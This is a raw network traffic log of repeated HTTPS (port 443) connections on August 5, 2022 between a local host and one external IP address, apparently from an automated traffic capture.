Aug 5, 2022 15:09:16.221424103 CEST	443	49803	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:16.221905947 CEST	49803	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:16.239454985 CEST	49803	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:16.239489079 CEST	443	49803	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:16.583453894 CEST	443	49803	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:16.583621979 CEST	49803	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:16.594362020 CEST	49803	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:16.594379902 CEST	443	49803	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:16.598572969 CEST	49803	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:16.598606110 CEST	443	49803	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:16.923578978 CEST	443	49803	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:16.923692942 CEST	443	49803	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:16.923782110 CEST	49803	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:16.923806906 CEST	49803	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:19.260687113 CEST	49803	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:19.260735989 CEST	443	49803	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:19.260755062 CEST	49803	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:19.260793924 CEST	49803	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:19.672804117 CEST	49804	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:19.672875881 CEST	443	49804	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:19.672971964 CEST	49804	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:19.673738003 CEST	49804	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:19.673760891 CEST	443	49804	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:20.015048981 CEST	443	49804	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:20.015165091 CEST	49804	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:20.018507004 CEST	49804	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:20.018543005 CEST	443	49804	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:20.032556057 CEST	49804	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:20.032596111 CEST	443	49804	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:20.358362913 CEST	443	49804	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:20.358450890 CEST	49804	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:20.358472109 CEST	443	49804	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:20.358494043 CEST	443	49804	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:20.358514071 CEST	49804	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:20.358535051 CEST	49804	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:20.369491100 CEST	49804	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:20.369540930 CEST	443	49804	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:20.369551897 CEST	49804	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:20.369601011 CEST	49804	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:21.607829094 CEST	49805	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:21.607893944 CEST	443	49805	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:21.607985973 CEST	49805	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:21.608558893 CEST	49805	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:21.608587027 CEST	443	49805	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:21.952615023 CEST	443	49805	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:21.952785969 CEST	49805	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:21.953502893 CEST	49805	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:21.953521013 CEST	443	49805	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:21.962004900 CEST	49805	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:21.962023020 CEST	443	49805	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:22.298124075 CEST	443	49805	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:22.298264980 CEST	443	49805	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:22.298274994 CEST	49805	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:22.298330069 CEST	49805	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:22.345103025 CEST	49805	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:22.345146894 CEST	443	49805	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:22.345165014 CEST	49805	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:22.345213890 CEST	49805	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:22.718866110 CEST	49806	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:22.718941927 CEST	443	49806	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:22.719036102 CEST	49806	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:22.720262051 CEST	49806	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:22.720290899 CEST	443	49806	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:23.061502934 CEST	443	49806	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:23.061580896 CEST	49806	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:23.062154055 CEST	49806	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:23.062167883 CEST	443	49806	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:23.067857027 CEST	49806	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:23.067872047 CEST	443	49806	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:23.409388065 CEST	443	49806	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:23.409475088 CEST	443	49806	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:23.409574032 CEST	49806	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:23.409670115 CEST	49806	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:23.410409927 CEST	49806	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:23.410430908 CEST	443	49806	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:24.253453016 CEST	49807	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:24.253508091 CEST	443	49807	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:24.253607988 CEST	49807	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:24.254287004 CEST	49807	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:24.254308939 CEST	443	49807	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:24.598232985 CEST	443	49807	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:24.598387003 CEST	49807	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:24.598855019 CEST	49807	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:24.598862886 CEST	443	49807	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:24.603104115 CEST	49807	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:24.603110075 CEST	443	49807	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:24.941220999 CEST	443	49807	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:24.941309929 CEST	443	49807	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:24.941329956 CEST	49807	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:24.941360950 CEST	49807	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:24.964792013 CEST	49807	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:24.964816093 CEST	443	49807	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:24.964828968 CEST	49807	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:24.964875937 CEST	49807	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:25.375969887 CEST	49808	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:25.376038074 CEST	443	49808	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:25.376169920 CEST	49808	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:25.376727104 CEST	49808	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:25.376763105 CEST	443	49808	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:25.719774008 CEST	443	49808	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:25.719902992 CEST	49808	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:25.722711086 CEST	49808	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:25.722743988 CEST	443	49808	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:25.727049112 CEST	49808	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:25.727080107 CEST	443	49808	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:26.059576988 CEST	443	49808	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:26.059669018 CEST	49808	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:26.059701920 CEST	443	49808	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:26.059720993 CEST	443	49808	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:26.059751034 CEST	49808	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:26.059768915 CEST	49808	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:26.068300009 CEST	49808	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:26.068336964 CEST	443	49808	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:26.068347931 CEST	49808	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:26.068399906 CEST	49808	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:26.457231998 CEST	49809	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:26.457287073 CEST	443	49809	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:26.457381010 CEST	49809	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:26.458039045 CEST	49809	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:26.458054066 CEST	443	49809	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:26.807109118 CEST	443	49809	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:26.807193041 CEST	49809	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:26.807853937 CEST	49809	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:26.807862997 CEST	443	49809	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:26.812253952 CEST	49809	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:26.812275887 CEST	443	49809	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:27.156141996 CEST	443	49809	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:27.156243086 CEST	443	49809	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:27.156321049 CEST	49809	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:27.157845020 CEST	49809	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:27.157887936 CEST	443	49809	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:27.157900095 CEST	49809	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:27.157942057 CEST	49809	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:27.856267929 CEST	49810	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:27.856307030 CEST	443	49810	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:27.856411934 CEST	49810	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:27.857054949 CEST	49810	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:27.857075930 CEST	443	49810	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:28.198556900 CEST	443	49810	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:28.198693037 CEST	49810	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:28.199306011 CEST	49810	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:28.199321032 CEST	443	49810	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:28.203711033 CEST	49810	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:28.203727007 CEST	443	49810	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:28.538433075 CEST	443	49810	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:28.538556099 CEST	443	49810	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:28.538671970 CEST	49810	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:28.538711071 CEST	49810	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:28.545866966 CEST	49810	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:28.545892954 CEST	443	49810	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:28.545912027 CEST	49810	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:28.545979977 CEST	49810	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:29.306219101 CEST	49811	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:29.306282997 CEST	443	49811	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:29.306430101 CEST	49811	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:29.309359074 CEST	49811	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:29.309382915 CEST	443	49811	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:29.654124022 CEST	443	49811	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:29.654932022 CEST	49811	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:29.682780981 CEST	49811	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:29.682801962 CEST	443	49811	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:29.687815905 CEST	49811	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:29.687838078 CEST	443	49811	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:29.994587898 CEST	443	49811	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:29.994692087 CEST	443	49811	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:29.994725943 CEST	49811	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:29.994750977 CEST	49811	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:30.010557890 CEST	49811	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:30.010584116 CEST	443	49811	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:30.010596037 CEST	49811	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:30.012958050 CEST	49811	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:30.437437057 CEST	49814	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:30.437506914 CEST	443	49814	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:30.437634945 CEST	49814	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:30.438961983 CEST	49814	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:30.438987970 CEST	443	49814	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:30.780113935 CEST	443	49814	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:30.780283928 CEST	49814	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:30.781146049 CEST	49814	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:30.781162024 CEST	443	49814	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:30.787827969 CEST	49814	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:30.787844896 CEST	443	49814	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:31.119457960 CEST	443	49814	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:31.119524956 CEST	443	49814	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:31.119695902 CEST	49814	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:31.119714975 CEST	49814	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:31.120351076 CEST	49814	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:31.120378017 CEST	443	49814	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:31.120392084 CEST	49814	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:31.120445967 CEST	49814	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:31.612509012 CEST	49815	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:31.612577915 CEST	443	49815	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:31.612719059 CEST	49815	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:31.613332033 CEST	49815	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:31.613360882 CEST	443	49815	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:31.958349943 CEST	443	49815	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:31.958523035 CEST	49815	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:31.963963032 CEST	49815	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:31.964003086 CEST	443	49815	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:31.968348980 CEST	49815	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:31.968383074 CEST	443	49815	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:32.303400040 CEST	443	49815	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:32.303519011 CEST	443	49815	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:32.303539991 CEST	49815	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:32.303580046 CEST	49815	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:32.315072060 CEST	49815	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:32.315118074 CEST	443	49815	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:32.315129995 CEST	49815	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:32.315244913 CEST	49815	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:32.666089058 CEST	49816	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:32.666137934 CEST	443	49816	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:32.666220903 CEST	49816	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:32.666870117 CEST	49816	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:32.666893005 CEST	443	49816	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:33.011517048 CEST	443	49816	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:33.011647940 CEST	49816	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:33.013555050 CEST	49816	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:33.013569117 CEST	443	49816	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:33.030502081 CEST	49816	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:33.030515909 CEST	443	49816	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:33.354240894 CEST	443	49816	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:33.354300022 CEST	443	49816	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:33.354315996 CEST	49816	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:33.354366064 CEST	49816	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:33.366518021 CEST	49816	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:33.366565943 CEST	443	49816	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:33.366585970 CEST	49816	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:33.366635084 CEST	49816	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:33.829740047 CEST	49817	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:33.829790115 CEST	443	49817	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:33.829900980 CEST	49817	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:33.830971956 CEST	49817	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:33.830986977 CEST	443	49817	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:34.175555944 CEST	443	49817	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:34.176784992 CEST	49817	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:34.177305937 CEST	49817	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:34.177325964 CEST	443	49817	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:34.181515932 CEST	49817	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:34.181540012 CEST	443	49817	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:34.518809080 CEST	443	49817	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:34.518871069 CEST	443	49817	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:34.519018888 CEST	49817	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:34.579648018 CEST	49817	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:34.579693079 CEST	443	49817	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:34.579720974 CEST	49817	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:34.583451033 CEST	49817	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:35.320589066 CEST	49818	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:35.320627928 CEST	443	49818	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:35.320796013 CEST	49818	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:35.321721077 CEST	49818	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:35.321733952 CEST	443	49818	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:35.672763109 CEST	443	49818	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:35.672966003 CEST	49818	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:36.485883951 CEST	49818	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:36.485924959 CEST	443	49818	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:36.490350962 CEST	49818	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:36.490371943 CEST	443	49818	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:36.667680979 CEST	443	49818	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:36.667802095 CEST	49818	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:36.667809010 CEST	443	49818	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:36.667886972 CEST	49818	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:36.680272102 CEST	49818	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:36.680309057 CEST	443	49818	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:36.680322886 CEST	49818	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:36.680375099 CEST	49818	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:39.137907982 CEST	49819	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:39.137938023 CEST	443	49819	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:39.138012886 CEST	49819	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:39.242881060 CEST	49819	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:39.242897987 CEST	443	49819	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:39.585810900 CEST	443	49819	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:39.585886955 CEST	49819	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:39.588267088 CEST	49819	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:39.588277102 CEST	443	49819	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:39.594382048 CEST	49819	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:39.594408989 CEST	443	49819	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:39.925873995 CEST	443	49819	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:39.925949097 CEST	443	49819	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:39.925954103 CEST	49819	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:39.926002979 CEST	49819	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:39.950014114 CEST	49819	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:39.950036049 CEST	443	49819	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:39.950050116 CEST	49819	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:39.950131893 CEST	49819	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:40.342874050 CEST	49820	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:40.342911959 CEST	443	49820	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:40.342988968 CEST	49820	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:40.343554020 CEST	49820	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:40.343564987 CEST	443	49820	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:40.683880091 CEST	443	49820	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:40.685081959 CEST	49820	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:40.685733080 CEST	49820	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:40.685751915 CEST	443	49820	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:40.691235065 CEST	49820	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:40.691256046 CEST	443	49820	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:41.025957108 CEST	443	49820	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:41.026084900 CEST	443	49820	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:41.026253939 CEST	49820	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:41.028331041 CEST	49820	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:41.028371096 CEST	443	49820	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:41.028403997 CEST	49820	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:41.029340982 CEST	49820	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:41.458266973 CEST	49821	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:41.458302975 CEST	443	49821	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:41.458383083 CEST	49821	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:41.459003925 CEST	49821	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:41.459018946 CEST	443	49821	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:41.803553104 CEST	443	49821	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:41.803692102 CEST	49821	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:41.805033922 CEST	49821	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:41.805046082 CEST	443	49821	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:41.809514046 CEST	49821	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:41.809531927 CEST	443	49821	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:42.148726940 CEST	443	49821	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:42.148811102 CEST	443	49821	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:42.148950100 CEST	49821	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:42.149389982 CEST	49821	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:42.155525923 CEST	49821	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:42.155553102 CEST	443	49821	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:42.155560970 CEST	49821	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:42.155606031 CEST	49821	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:42.567085028 CEST	49822	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:42.567131996 CEST	443	49822	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:42.567229986 CEST	49822	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:42.568279982 CEST	49822	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:42.568301916 CEST	443	49822	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:42.914309978 CEST	443	49822	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:42.914438009 CEST	49822	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:42.915041924 CEST	49822	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:42.915055037 CEST	443	49822	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:42.919678926 CEST	49822	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:42.919691086 CEST	443	49822	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:43.258646011 CEST	443	49822	199.79.62.221	192.168.2.4
